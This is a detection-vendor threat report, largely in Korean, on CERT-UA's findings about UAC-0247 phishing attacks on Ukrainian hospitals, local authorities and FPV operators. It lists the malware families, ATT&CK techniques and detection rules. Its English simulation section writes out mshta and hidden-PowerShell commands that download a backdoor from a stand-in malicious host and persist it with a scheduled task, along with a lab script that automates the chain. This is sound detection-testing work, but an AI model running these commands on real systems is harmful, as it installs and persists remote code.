UAC-0247, 병원, 지방 정부 및 FPV 운영자 대상을 공격
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
2026년 3월과 4월 사이에 CERT-UA는 우크라이나 병원, 지방 당국 및 FPV 운영자 그룹에 대한 사이버 공격의 증가를 기록했습니다. 이 활동은 맞춤형 로더, RAVENSHELL 역쉘, C# 기반 AGINGFLY 원격 액세스 도구를 전달하는 악성 HTA나 HTML 링크가 포함된 피싱 이메일에 의존합니다. 추가 페이로드는 SILENTLOOP PowerShell 백도어, CHROMELEVATOR 및 ZAPIXDESK 자격 증명 절도 도구, 공개적으로 사용 가능한 스캐너 RUSTSCAN을 포함합니다. 공격자들은 DLL 사이드로딩, 예약 작업, 광범위한 맞춤형 커맨드 앤 컨트롤 인프라를 사용합니다.
조사
CERT-UA는 수십 건의 사고를 검토하고 악성 실행 파일, 스크립트, 예약 작업, IP 주소 및 도메인을 포함한 위협 정보를 추출했습니다. 조사를 통해 XOR 암호화로 보호되는 2단계 로더, 역 TCP 쉘 및 정적 AES-CBC 키에 의존하는 WebSocket 기반 C2 채널이 발견되었습니다. 분석가는 또한 다음과 같은 정품 Windows 유틸리티의 악용을 문서화했습니다. mshta.exe, powershell.exe, 및 wscript.exe 를 사용하여 악성 HTA 파일을 실행합니다.
완화
보고서는 이메일로 전달되는 LNK, HTA 및 JavaScript 파일의 실행을 비활성화하고, 사용을 제한하며, 애플리케이션 허용 목록을 시행할 것을 권장합니다. 수비관들은 식별된 커맨드 앤 컨트롤 서버로의 의심스러운 예약 작업 생성 및 아웃바운드 연결도 모니터링하도록 장려됩니다. mshta.exe, powershell.exe, 및 wscript.exe, and enforcing application allow-listing. Defenders are also encouraged to monitor for suspicious scheduled task creation and outbound connections to the identified command-and-control servers.
대응
보안 팀은 알려진 악성 URL 및 IP 주소를 즉시 차단하고, 나열된 파일 이름 및 예약 작업을 엔드포인트에서 검색하며, 손상된 시스템을 격리해야 합니다. 관찰된 명령줄에 대한 탐지 규칙을 배포하고 AGINGFLY 관련 WebSocket 트래픽에 대한 추가 모니터링을 수행해야 합니다. 노출되었을 수 있는 모든 계정은 즉각적인 자격 증명 재설정을 거쳐야 합니다.
"graph TB %% 클래스 정의 classDef technique fill:#ffcc99 classDef tool fill:#c2c2f0 classDef malware fill:#ff9999 %% 노드 정의 initial_user_exec["<b>기법</b> – <b>T1204.001 사용자 실행: 악성 링크</b><br/><b>설명</b>: 사용자가 페이로드 실행을 유발하는 악성 링크를 클릭합니다."] class initial_user_exec technique system_binary_mshta["<b>기법</b> – <b>T1218.005 시스템 바이너리 프록시 실행: Mshta</b><br/><b>설명</b>: 악성 코드를 실행하기 위해 mshta.exe를 사용합니다."] class system_binary_mshta technique powershell_interpreter["<b>기법</b> – <b>T1059.001 PowerShell</b><br/><b>설명</b>: 명령 및 스크립트 실행을 위해 PowerShell이 사용됩니다."] class powershell_interpreter technique compression_obfusc["<b>기법</b> – <b>T1027.015 압축</b><br/><b>설명</b>: 악성 콘텐츠를 숨기기 위해 파일을 압축합니다."] class compression_obfusc technique process_hollowing["<b>기법</b> – <b>T1055.012 프로세스 인젝션: 프로세스 속이기</b><br/><b>설명</b>: 실행 중인 프로세스의 코드를 악성 코드로 대체합니다."] class process_hollowing technique dll_sideload["<b>기법</b> – <b>T1574.001 DLL 사이드로딩</b><br/><b>설명</b>: 사이드로딩을 통해 악성 DLL을 로드합니다."] class dll_sideload technique appinit_dll["<b>기법</b> – <b>T1546.010 AppInit DLLs</b><br/><b>설명</b>: 실행을 위해 AppInit_DLLs 키에 악성 DLL을 등록합니다."] class appinit_dll technique agingfly_tool["<b>도구</b> – <b>이름</b>: AGINGFLY<br/><b>유형</b>: 원격 액세스 도구"] class agingfly_tool tool websocket_c2["<b>기법</b> – <b>T1071.001 WebSocket C2</b><br/><b>설명</b>: 명령 및 제어 통신을 위해 WebSocket 프로토콜을 사용합니다."] class websocket_c2 technique xmrig_malware["<b>악성코드</b> – <b>이름</b>: XMRIG<br/><b>목적</b>: 암호화폐 채굴(컴퓨팅 하이재킹)"] class xmrig_malware malware rustscan_tool["<b>도구</b> – <b>이름</b>: Rustscan<br/><b>기능</b>: 네트워크 서비스 검색"] class rustscan_tool tool lateral_transfer["<b>기법</b> – <b>T1570 도구 전파 이동</b><br/><b>설명</b>: 측면 이동을 위해 도구를 원격 시스템으로 전송합니다."] class lateral_transfer technique ingress_transfer["<b>기법</b> – <b>T1105 인그레스 도구 전송</b><br/><b>설명</b>: 피해자 환경으로 도구/파일을 전송합니다."] class ingress_transfer technique chromelevet_tool["<b>도구</b> – <b>이름</b>: ChromeLevetor<br/><b>목적</b>: Chrome 브라우저에서 인증 정보를 추출합니다."] class chromelevet_tool tool reflective_obfusc["<b>기법</b> – <b>T1027 난독화된 파일 또는 정보</b><br/><b>설명</b>: 반사 로딩과 내장 페이로드를 사용하여 악성 코드를 숨깁니다."] class reflective_obfusc technique scheduled_tasks["<b>기법</b> – <b>T1059.003 Windows 명령 셸(예약된 작업)</b><br/><b>설명</b>: 명령 셸을 통해 예약된 작업을 실행합니다."] class scheduled_tasks technique %% connections initial_user_exec –>|leads_to| system_binary_mshta system_binary_mshta –>|executes| powershell_interpreter powershell_interpreter –>|obfuscates| compression_obfusc compression_obfusc –>|injects| process_hollowing process_hollowing –>|loads| dll_sideload dll_sideload –>|triggers| appinit_dll appinit_dll –>|installs| agingfly_tool agingfly_tool –>|communicates via| websocket_c2 websocket_c2 –>|controls| xmrig_malware xmrig_malware –>|discovers network via| rustscan_tool rustscan_tool –>|enables| lateral_transfer lateral_transfer –>|facilitates| ingress_transfer ingress_transfer –>|steals| chromelevet_tool chromelevet_tool –>|enables| reflective_obfusc reflective_obfusc –>|schedules| scheduled_tasks "
공격 흐름
탐지
이중 확장자를 가진 가능한 악성 LNK 파일(명령줄 통해)
보기
의심스러운 디렉토리에서 파일을 실행하는 PowerShell 실행 정책 우회(명령줄 통해)
보기
Powershell을 통해 다운로드 또는 업로드(명령줄 통해)
보기
짧은 스크립트 이름 사용에 의한 실행 가능성(명령줄 통해)
보기
짧은 파일 이름(명령줄 통해)
보기
Schtasks가 의심스러운 디렉토리/바이너리/스크립트를 가리킴(명령줄 통해)
보기
비정상적인 디렉토리에서 실행된 OneDrive 바이너리(프로세스 생성 통해)
보기
실행 가능한 바이너리의 비정상적인 확장자(프로세스 생성 통해)
보기
LOLBAS WScript / CScript(프로세스 생성 통해)
보기
명령어 탐지를 통한 의심스러운 LOLBAS MSHTA 방어 회피 행동(프로세스 생성 통해)
보기
LOLBAS Conhost(명령줄 통해)
보기
터널링 도구 사용 가능성 [Windows](명령줄 통해)
보기
의심스러운 CURL 사용(명령줄 통해)
보기
예약 작업 생성 가능성(PowerShell 통해)
보기
Powershell에서 의심스러운 .NET 메서드를 호출함(PowerShell 통해)
보기
명령 및 제어 채널로서의 Telegram 악용 가능성(DNS 쿼리 통해)
보기
알려진 악용 웹 서비스를 사용하는 의심스러운 프로세스 DNS 쿼리(네트워크 연결 통해)
보기
직접 IP 파일 다운로드 의심(프록시 통해)
보기
대역 외 상호 작용 도메인 요청에 의한 의심스러운 명령 및 제어(DNS 통해)
보기
비정상적인 최상위 도메인(TLD) DNS 요청에 의한 의심스러운 명령 및 제어(DNS 통해)
보기
IOCs (HashSha256) 탐지: 병원, 지방 정부 기관 및 FPV 운영자 – 사이버 위협 클러스터 UAC-0247의 초점 4부
보기
IOCs (HashSha256) 탐지: 병원, 지방 정부 기관 및 FPV 운영자 – 사이버 위협 클러스터 UAC-0247의 초점 3부
보기
IOCs (HashSha256) 탐지: 병원, 지방 정부 기관 및 FPV 운영자 – 사이버 위협 클러스터 UAC-0247의 초점 2부
보기
IOCs (HashSha256) 탐지: 병원, 지방 정부 기관 및 FPV 운영자 – 사이버 위협 클러스터 UAC-0247의 초점 1부
보기
IOCs (HashSha1) 탐지: 병원, 지방 정부 기관 및 FPV 운영자 – 사이버 위협 클러스터 UAC-0247의 초점
보기
IOCs (HashMd5) 탐지: 병원, 지방 정부 기관 및 FPV 운영자 – 사이버 위협 클러스터 UAC-0247의 초점 4부
보기
IOCs (HashMd5) 탐지: 병원, 지방 정부 기관 및 FPV 운영자 – 사이버 위협 클러스터 UAC-0247의 초점 3부
보기
IOCs (HashMd5) 탐지: 병원, 지방 정부 기관 및 FPV 운영자 – 사이버 위협 클러스터 UAC-0247의 초점 2부
보기
IOCs (HashMd5) 탐지: 병원, 지방 정부 기관 및 FPV 운영자 – 사이버 위협 클러스터 UAC-0247의 초점 1부
보기
IOCs (SourceIP) 탐지: 병원, 지방 정부 기관 및 FPV 운영자 – 사이버 위협 클러스터 UAC-0247의 초점
보기
IOCs (DestinationIP) 탐지: 병원, 지방 정부 기관 및 FPV 운영자 – 사이버 위협 클러스터 UAC-0247의 초점
보기
UAC-0247에 의한 악성 도메인 및 C2 통신 탐지 [Windows 네트워크 연결]
보기
Mshta 및 Powershell을 통한 악성 실행과 예약 작업 [Windows 프로세스 생성]
보기
Simulation Execution
Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.
Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.
-
Attack Narrative & Commands:
An attacker has gained initial foothold on a compromised workstation. To maintain persistence and execute further payloads while evading traditional AV, the attacker:
- Uses
mshta.exeto download and execute a malicious HTA file that contains a PowerShell one‑liner. - The PowerShell one‑liner downloads a back‑door binary from a remote server and stores it in
%TEMP%. - Creates a scheduled task (
schtasks /Create /SC MINUTE /MO 10) that runs the back‑door every ten minutes, ensuring continual execution even after reboot.
The exact commands executed on the compromised host are:
:: Step 1 – mshta download & launch mshta.exe "http://malicious.example.com/payload.hta" :: Step 2 – PowerShell embedded in the HTA (simulated here directly) powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden ^ -Command "(New-Object System.Net.WebClient).DownloadFile('http://malicious.example.com/backdoor.exe',$env:TEMP+'backdoor.exe')" :: Step 3 – Scheduled task for persistence schtasks /Create /SC MINUTE /MO 10 /TN "Updater" /TR "%TEMP%backdoor.exe" - Uses
-
Regression Test Script: The following PowerShell script automates the entire attack chain, reproducing the exact telemetry required for the rule to fire.
#================================================================ # Regression Test – Trigger Sigma Rule for mshta + PowerShell + schtasks #================================================================ # 1. Define URLs and paths (use benign test servers in a lab) $htaUrl = "http://127.0.0.1:8080/payload.hta" $payloadUrl = "http://127.0.0.1:8080/backdoor.exe" $tempPath = "$env:TEMPbackdoor.exe" $taskName = "Updater" # 2. Simulate mshta execution (downloads the HTA – here we just call mshta) Write-Host "[*] Executing mshta.exe" Start-Process -FilePath "mshta.exe" -ArgumentList "`"$htaUrl`"" -NoNewWindow -Wait # 3. Execute PowerShell one‑liner to fetch the backdoor Write-Host "[*] Downloading backdoor via PowerShell" $psCmd = "(New-Object System.Net.WebClient).DownloadFile('$payloadUrl','$tempPath')" Start-Process -FilePath "powershell.exe" -ArgumentList "-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command `$psCmd`" -NoNewWindow -Wait # 4. Create scheduled task (10‑minute interval) Write-Host "[*] Creating scheduled task for persistence" $schtasksArgs = "/Create /SC MINUTE /MO 10 /TN `"$taskName`" /TR `"$tempPath`" /F" Start-Process -FilePath "schtasks.exe" -ArgumentList $schtasksArgs -NoNewWindow -Wait Write-Host "[+] Attack simulation completed. Check the SIEM for the alert." -
Cleanup Commands: After validation, remove the created artifacts to restore the host to a clean state.
# Delete the scheduled task schtasks /Delete /TN "Updater" /F # Remove the backdoor binary Remove-Item -Path "$env:TEMPbackdoor.exe" -Force # (Optional) Delete any test HTA files if they were saved locally # Remove-Item -Path "$env:TEMPpayload.hta" -Force